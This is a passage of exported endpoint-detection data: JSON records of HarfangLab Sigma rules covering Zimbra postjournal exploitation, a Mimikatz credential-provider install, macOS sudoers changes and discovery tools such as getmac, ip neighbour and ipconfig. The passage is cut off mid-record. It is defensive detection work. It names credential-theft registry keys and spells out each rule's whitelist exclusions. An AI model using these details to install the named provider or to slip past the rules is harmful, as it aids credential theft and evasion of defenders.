+  "rule_description": "Detects the suspicious creation of child processes by the postjournal service related to the exploitation of a Zimbra vulnerability.\nThis behavior is related to the exploitation of the \"exchange compatible journaling\" feature on non-patched Zimbra instances.\nThis flaw allows remote unauthenticated attackers to execute arbitrary commands.\nIt is recommended to gather more information about the Zimbra instance and to investigate the command-line.\n",
+  "rule_creation_date": "2024-10-09",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "db074059-eadd-4530-a103-5dbf7732b80f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094743Z",
+  "creation_date": "2026-03-23T11:45:34.094745Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094749Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kcredentialprovider.c",
+    "https://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/",
+    "https://attack.mitre.org/techniques/T1556/002/",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1556_002_credential_provider_mimikatz.yml",
+  "content": "title: Mimikatz Credential Provider Installed\nid: db074059-eadd-4530-a103-5dbf7732b80f\ndescription: |\n    Detects the installation of the Mimikatz credential provider.\n    Attackers can install this credential provider in order to obtain user credential.\n    It is recommended to isolate infected systems, to look for the unwanted usage of stolen credentials on others hosts (e.g via Path-the-Hash), and to start memory forensics to determine extracted credentials.\nreferences:\n    - https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kcredentialprovider.c\n    - https://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/\n    - https://attack.mitre.org/techniques/T1556/002/\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2021/06/17\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1556.002\n    - attack.t1003\n    - classification.Windows.Source.Registry\n    - classification.Windows.HackTool.Mimikatz\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_1:\n        EventType: SetValue\n        TargetObject:\n          - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}\\(Default)'\n          - 'HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}\\(Default)'\n    selection_2:\n        EventType: SetValue\n        TargetObject|contains:\n          - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\'\n          - 'HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\'\n        Details: 'mimilib'\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "db074059-eadd-4530-a103-5dbf7732b80f",
+  "rule_name": "Mimikatz Credential Provider Installed",
+  "rule_description": "Detects the installation of the Mimikatz credential provider.\nAttackers can install this credential provider in order to obtain user credential.\nIt is recommended to isolate infected systems, to look for the unwanted usage of stolen credentials on others hosts (e.g via Path-the-Hash), and to start memory forensics to determine extracted credentials.\n",
+  "rule_creation_date": "2021-06-17",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1556.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "db3b6a01-e4b7-4b1e-825c-d14f1b9b73bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295096Z",
+  "creation_date": "2026-03-23T11:45:35.295099Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295106Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/",
+    "https://opensource.apple.com/source/Libc/Libc-583/include/unistd.h.auto.html",
+    "https://www.manpagez.com/man/3/confstr/",
+    "https://attack.mitre.org/techniques/T1083/"
+  ],
+  "name": "t1083_python_confstr_user_temp_dir.yml",
+  "content": "title: User Temporary Directory Discovered via Python\nid: db3b6a01-e4b7-4b1e-825c-d14f1b9b73bf\ndescription: |\n    Detects the discovery of the user temporary directory via the python3 os.confstr function.\n    Attackers may use it during the discovery phase of an attack to retrieve the user temporary directory.\n    It is recommended to check for other suspicious activity by the process and its parent.\nreferences:\n    - https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/\n    - https://opensource.apple.com/source/Libc/Libc-583/include/unistd.h.auto.html\n    - https://www.manpagez.com/man/3/confstr/\n    - https://attack.mitre.org/techniques/T1083/\ndate: 2022/12/08\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1083\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Script.Python\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image:\n            - '/usr/bin/python'\n            - '/usr/bin/python2'\n            - '/usr/bin/python3'\n        # _CS_DARWIN_USER_TEMP_DIR\n        CommandLine|contains|all:\n            - '-c'\n            - 'os.confstr(65537)'\n        ParentImage|contains: '?'\n\n    condition: selection\nlevel: low\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "db3b6a01-e4b7-4b1e-825c-d14f1b9b73bf",
+  "rule_name": "User Temporary Directory Discovered via Python",
+  "rule_description": "Detects the discovery of the user temporary directory via the python3 os.confstr function.\nAttackers may use it during the discovery phase of an attack to retrieve the user temporary directory.\nIt is recommended to check for other suspicious activity by the process and its parent.\n",
+  "rule_creation_date": "2022-12-08",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "db6caac2-abb0-419f-9f88-47a708a074d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628536Z",
+  "creation_date": "2026-03-23T11:45:34.628538Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628542Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man8/ip-neighbour.8.html",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_ip_neighbour.yml",
+  "content": "title: Ip Neighbour Execution\nid: db6caac2-abb0-419f-9f88-47a708a074d6\ndescription: |\n    Detects the execution of the IP neighbour utility to display the neighbour table (ARP cache).\n    Attackers may use it during discovery phase to discover remote systems.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://man7.org/linux/man-pages/man8/ip-neighbour.8.html\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2022/12/23\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/ip'\n        CommandLine|contains: ' n'  # neighbour\n        ParentImage|contains: '?'\n\n    filter_not_neighboor_options:\n        CommandLine|contains:\n            - ' netns'\n            - ' nomaster'\n\n    exclusion_not_show:\n        CommandLine|contains:\n            - ' add'\n            - ' change'\n            - ' replace'\n            - ' delete'\n            - ' flush'\n            - ' get'\n\n    exclusion_insights:\n        CommandLine: '/sbin/ip -? neighbor show nud all'\n        ParentImage: '/usr/bin/timeout'\n\n    exclusion_sosreport:\n        - ParentCommandLine|startswith: '/usr/bin/python /usr/sbin/sosreport '\n        - GrandparentCommandLine: '/usr/bin/python /usr/sbin/sosreport'\n        - GrandparentCommandLine|startswith: '/usr/bin/python /usr/sbin/sosreport '\n\n    exclusion_sosreport_2:\n        ParentImage: '/usr/bin/timeout'\n        GrandparentCommandLine|contains:\n            - ' sosreport --tmp-dir '\n            - ' /usr/sbin/sosreport'\n            - ' /sbin/sosreport'\n            - ' /usr/sbin/sos report'\n\n    exclusion_gitlab:\n        - ParentCommandLine|contains: '/opt/gitlab/embedded/bin/ruby /opt/gitlab/embedded/bin'\n        - GrandparentCommandLine: '/bin/bash /opt/gitlab/bin/gitlab-ctl reconfigure'\n        - GrandparentImage|startswith: '/opt/gitlab/embedded/bin/'\n\n    exclusion_qemu:\n        ParentCommandLine: '/usr/bin/perl /var/lib/qemu-server/pve-bridgedown *'\n        GrandparentImage: '/usr/bin/qemu-system-x86_64'\n\n    exclusion_pihole:\n        GrandparentImage: '/usr/bin/pihole-FTL'\n\n    exclusion_insights_client:\n        CommandLine:\n            - '/sbin/ip -4 neighbor show nud all'\n            - '/sbin/ip -6 neighbor show nud all'\n        ParentCommandLine|startswith:\n            - '/usr/libexec/platform-python /usr/lib/python*/site-packages/insights_client/run.py '\n            - '/usr/bin/python* /usr/lib/python*/site-packages/insights_client/run.py '\n            - '/usr/bin/python* /usr/bin/insights-client-run '\n\n    exclusion_bettercap:\n        ParentCommandLine|startswith: '/tmp/bettercap '\n\n    exclusion_modprobe:\n        ParentCommandLine:\n            - '/bin/sh /usr/local/bin/modprobe nf_tables'\n            - '/bin/sh /usr/local/bin/modprobe -va nf_conntrack'\n\n    exclusion_libvirt:\n        ParentImage:\n            - '/usr/bin/libvirtd'\n            - '/usr/sbin/libvirtd'\n\n    exclusion_wgquick:\n        ParentCommandLine: '/bin/bash /usr/bin/wg-quick up new-tooling'\n\n    exclusion_containerd:\n        Ancestors|contains:\n            - '/bin/runc|'\n            - '/bin/containerd-shim-runc-v2|'\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n            - '|/opt/bmc/bladelogic/RSCD/sbin/bldeploy|'\n            - '|/opt/bladelogic/*/NSH/sbin/bldeploy|'\n\n    exclusion_chef:\n        ParentImage:\n            - '/opt/chef/embedded/bin/ruby'\n            - '/opt/chefdk/embedded/bin/ruby'\n\n    exclusion_facter:\n        ParentImage: '/usr/bin/facter'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "db6caac2-abb0-419f-9f88-47a708a074d6",
+  "rule_name": "Ip Neighbour Execution",
+  "rule_description": "Detects the execution of the IP neighbour utility to display the neighbour table (ARP cache).\nAttackers may use it during discovery phase to discover remote systems.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "db7909aa-b0a9-4065-9539-4587611d632f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626824Z",
+  "creation_date": "2026-03-23T11:45:34.626826Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626830Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/CraigHRowland/status/1580658905910108160/photo/1",
+    "https://attack.mitre.org/techniques/T1548/003/"
+  ],
+  "name": "t1548_003_sudo_config_modified_macos.yml",
+  "content": "title: Sudo Configuration Modified (macOS)\nid: db7909aa-b0a9-4065-9539-4587611d632f\ndescription: |\n    Detects a suspicious attempt to modify the content of /etc/sudoers or any file within /etc/sudoers.d.\n    These files contain the configuration of the 'sudo' utility, used to give temporary privileges to an application.\n    Their modification can be an attempt to elevate privileges.\n    It is recommended to verify if the process performing the modification has legitimate reason to do so.\nreferences:\n    - https://twitter.com/CraigHRowland/status/1580658905910108160/photo/1\n    - https://attack.mitre.org/techniques/T1548/003/\ndate: 2024/06/18\nmodified: 2026/02/09\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.003\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.PrivilegeEscalation\n    - classification.macOS.Behavior.SystemModification\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        - Path:\n            - '/private/etc/sudoers'\n            - '/private/etc/sudoers.d/*'\n        - TargetPath:\n            - '/private/etc/sudoers'\n            - '/private/etc/sudoers.d/*'\n    selection_process:\n        ProcessImage|contains: '?'\n\n    filter_is_read:\n        Kind: 'read'\n\n    filter_visudo:\n        - Image: '/usr/sbin/visudo'\n        - ProcessGrandparentCommandLine|startswith: '/bin/bash /Users/*/.battery-tmp/battery/battery.sh visudo '\n\n    exclusion_kandji:\n        Image: '/Library/Kandji/Kandji Agent.app/Contents/Helpers/Kandji Parameter Agent.app/Contents/MacOS/kandji-parameter-agent'\n\n    exclusion_jamf:\n        - ProcessAncestors|contains: '/usr/local/jamf/bin/jamf'\n        - ProcessGrandparentCommandLine: '/Library/Application Support/JAMF/tmp/'\n        - ProcessParentCommandLine|startswith: /bin/bash /Library/Application Support/JAMF/'\n\n    exclusion_beyondco_helper:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'de.beyondco.herd.helper'\n\n    exclusion_brew:\n        ProcessParentCommandLine:\n            - 'sudo tee -a /etc/sudoers.d/brew-nopasswd'\n            - 'sudo chmod 440 /etc/sudoers.d/brew-nopasswd'\n\n    exclusion_atera:\n        ProcessParentImage: '/Applications/AteraAgent.app/Contents/MacOS/AteraAgent'\n\n    exclusion_jumpcloud:\n        ProcessImage: '/opt/jc/bin/jumpcloud-agent'\n\n    exclusion_intunes:\n        ProcessAncestors|contains: '/Library/Intune/Microsoft Intune Agent.app/Contents/MacOS/IntuneMdmDaemon'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "db7909aa-b0a9-4065-9539-4587611d632f",
+  "rule_name": "Sudo Configuration Modified (macOS)",
+  "rule_description": "Detects a suspicious attempt to modify the content of /etc/sudoers or any file within /etc/sudoers.d.\nThese files contain the configuration of the 'sudo' utility, used to give temporary privileges to an application.\nTheir modification can be an attempt to elevate privileges.\nIt is recommended to verify if the process performing the modification has legitimate reason to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2026-02-09",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dba28126-8b26-439d-8982-4719d1c57682",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083422Z",
+  "creation_date": "2026-03-23T11:45:34.083424Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083429Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/getmac",
+    "https://attack.mitre.org/techniques/T1016/"
+  ],
+  "name": "t1016_getmac.yml",
+  "content": "title: Getmac Execution\nid: dba28126-8b26-439d-8982-4719d1c57682\ndescription: |\n    Detects the execution of the Getmac.exe binary.\n    Getmac returns the media access control (MAC) address and the list of network protocols associated with each address for all network cards in each computer, either locally or across a network.\n    Attackers may use it during discovery phase to gather information about the host.\n    It is recommended to analyze the context behind the execution of this command with the process tree to determine its legitimacy.\nreferences:\n    - https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/getmac\n    - https://attack.mitre.org/techniques/T1016/\ndate: 2022/12/02\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1016\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\getmac.exe'\n        - OriginalFileName: 'getmac.exe'\n\n    exclusion_explorer:\n        ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_programfiles:\n        - ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_grandparentimage:\n        GrandparentImage:\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Microsoft Azure Storage Explorer\\StorageExplorer.exe'\n            - '*\\AppData\\Local\\Programs\\monsisraapp\\MonSisra2.exe'\n            - '*\\AppData\\Local\\monsisraapp\\app-*\\MonSisra2.exe'\n            - '*\\AppData\\Local\\Programs\\MonSisra2\\MonSisra2.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe'\n\n    exclusion_mofcompiler:\n        ParentImage: '?:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe'\n        CommandLine: 'getmac'\n\n    exclusion_visual_studio:\n        ParentImage:\n            - '?:\\Windows\\Temp\\\\*\\vs_bootstrapper_d15\\vs_setup_bootstrapper.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\vs_bootstrapper_d15\\vs_setup_bootstrapper.exe'\n            - '*\\Common7\\IDE\\devenv.exe'\n            - '*\\Common7\\IDE\\Blend.exe'\n            - '*\\Common7\\ServiceHub\\Controller\\Microsoft.ServiceHub.Controller.exe'\n            - '*\\Common7\\ServiceHub\\Hosts\\ServiceHub.Host.netfx.x86\\ServiceHub.IdentityHost.exe'\n            - '*\\Common7\\ServiceHub\\Hosts\\ServiceHub.Host.dotnet.x64\\ServiceHub.VSDetouredHost.exe'\n\n    exclusion_jetbrains:\n        ParentImage: '?:\\Users\\\\*\\AppData\\Local\\JetBrains\\JetBrains Rider *\\bin\\rider64.exe'\n\n    exclusion_jetbrains_signed:\n        ProcessParentOriginalFileName:\n            - 'rider64.exe'\n            - 'idea64.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'JetBrains s.r.o.'\n\n    exclusion_dahua:\n        - ParentImage: '?:\\DSS\\DSS Server\\jre\\bin\\VMS_CFGS.exe'\n        - GrandparentImage:\n            - '?:\\DSS\\DSS Server\\SS\\VMS_SS.exe'\n            - '?:\\DSS\\DSS Server\\PTS\\VMS_PTS.exe'\n            - '?:\\DSS\\DSS Server\\SS\\CQFSTools.exe'\n            - '?:\\DSS Express\\Server\\SS\\DSS_SS.exe'\n            - '?:\\DSS Express\\Server\\PTS\\DSS_PTS.exe'\n            - '?:\\DSS Express\\Server\\SS\\CQFSTools.exe'\n\n    exclusion_dahua_signed:\n        # \\DSS Server\\PTS\\VMS_PTS.exe\n        # \\DSS Server\\SS\\VMS_SS.exe\n        # \\DSS Server\\SS\\CQFSTools.exe\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'Zhejiang Dahua Technology Co., Ltd.'\n\n    exclusion_3dvista:\n        ProcessAncestors|contains: '|?:\\Program Files\\3DVista\\3DVista Virtual Tour\\3DVista Virtual Tour.exe|'\n\n    exclusion_mailspring:\n        ProcessGrandparentOriginalFileName: 'Mailspring.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'Foundry376'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dba28126-8b26-439d-8982-4719d1c57682",
+  "rule_name": "Getmac Execution",
+  "rule_description": "Detects the execution of the Getmac.exe binary.\nGetmac returns the media access control (MAC) address and the list of network protocols associated with each address for all network cards in each computer, either locally or across a network.\nAttackers may use it during discovery phase to gather information about the host.\nIt is recommended to analyze the context behind the execution of this command with the process tree to determine its legitimacy.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dc40e7d9-a996-45bf-a2ae-f8caf1816852",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591776Z",
+  "creation_date": "2026-03-23T11:45:34.591779Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591787Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1016/",
+    "https://attack.mitre.org/software/S0100/"
+  ],
+  "name": "t1016_ipconfig.yml",
+  "content": "title: Ipconfig Execution\nid: dc40e7d9-a996-45bf-a2ae-f8caf1816852\ndescription: |\n    Detects the execution of ipconfig.exe, a legitimate Windows utility used to gather network interface information.\n    Adversaries may execute ipconfig.exe to collect network information for reconnaissance or data exfiltration purposes.\n    It is recommended to investigate the source and context of ipconfig.exe execution and correlate this alert with other discovery activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1016/\n    - https://attack.mitre.org/software/S0100/\ndate: 2021/05/17\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1016\n    - attack.s0100\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_normal:\n        - Image|endswith: '\\ipconfig.exe'\n        # Renamed binaries\n        - OriginalFileName: 'ipconfig.exe'\n\n    selection_parent:\n        # When the agent is under a lot of pressure, the parent information of a process can be missing.\n        # Exceptionnaly for this rule, because it triggers so frequently with a low severity, we will ignore\n        # instances of `ipconfig` where the parent is missing.\n        # When the parent is missing, the ParentImage or ParentCommandLine field is also missing (it is not empty or null)\n        # so we can't easily match against that.\n        # Instead, we reverse the problem by requiring the ParentImage fields to contain a `\\`.\n        ParentImage|contains: '\\'\n\n    exclusion_commandline:\n        CommandLine|contains:\n            # -release and -release6\n            - '-release'\n            # /release and /release6\n            - '/release'\n            - '-renew'\n            - '/renew'\n            - '-flushdns'\n            - '/flushdns'\n            - '-displaydns'\n            - '/displaydns'\n            - '-registerdns'\n            - '/registerdns'\n\n    exclusion_programfiles:\n        - ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_parentimage:\n        ParentImage:\n            - '?:\\Windows\\System32\\sdiagnhost.exe'\n            - '?:\\Windows\\SysWOW64\\sdiagnhost.exe'\n            - '?:\\Pritunl\\pritunl-service.exe'\n            - '?:\\WindowsAzure\\Packages\\Telemetry\\WindowsAzureTelemetryService.exe'\n            - 